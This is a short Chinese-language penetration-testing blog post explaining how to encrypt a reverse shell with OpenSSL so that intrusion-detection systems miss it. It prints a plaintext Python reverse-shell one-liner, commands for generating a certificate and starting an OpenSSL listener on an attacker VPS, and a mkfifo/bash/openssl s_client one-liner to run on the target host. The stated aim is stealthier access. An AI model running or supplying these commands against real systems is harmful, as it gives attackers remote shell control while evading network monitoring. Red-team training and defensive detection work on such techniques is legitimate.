『渗透测试』使用 OpenSSL 反弹加密 Shell

日期：2022-05-19

作者：hdsec

介绍：对反弹shell传输的数据进行加密。

0x00 前言

借用百度词条的解释，在计算机网络上，OpenSSL是一个开放源代码的软件库包，应用程序可以使用这个包来进行安全通信，避免窃听，同时确认另一端连接者的身份。

0x01 原始流量传输数据

在红蓝对抗中我们常常需要进行反弹shell的操作，但是普通反弹shell执行命令都是以明文进行传输的。

如下图所示，使用常见的使用python命令进行反弹shell。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用wireshark进行抓包测试，可以发现我们执行的命令以及返回的信息都是以明文的形式进行传输的，很容易被流量检测设备（IDS、IPS）检测到。

0x02 加密传输

上述操作进行反弹Shell，明文传输容易被流量检测设备（IDS、IPS）检测并告警，因此需要将原始流量使用OpenSSL加密，绕过流量检测设备。

2.1 生成SSL证书

首先在vps上生成SSL证书的公钥/私钥对，需要填写的SSL证书信息可以是空，一直回车即可。

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

2.2 设置监听端口

VPS使用OpenSSL监听一个端口8888。

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

2.3 反弹Shell

目标主机上执行反弹的加密Shell，Ip地址修改成VPS的Ip地址，端口修改成VPS监听的端口。

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

在目标主机上运行反弹Shell的命令后，在VPS上可以看到反弹信息，如下图所示，反弹成功。

2.4 抓取流量

使用wireshark抓包可以看到，两个主机之间在使用TLS1.2协议进行加密通信，传输的数据都已加密。

0x03 总结

利用OpenSSL反弹加密Shell，可以帮助我们绕过流量设备（IDS、IPS）的检测，让我们的行为更隐蔽。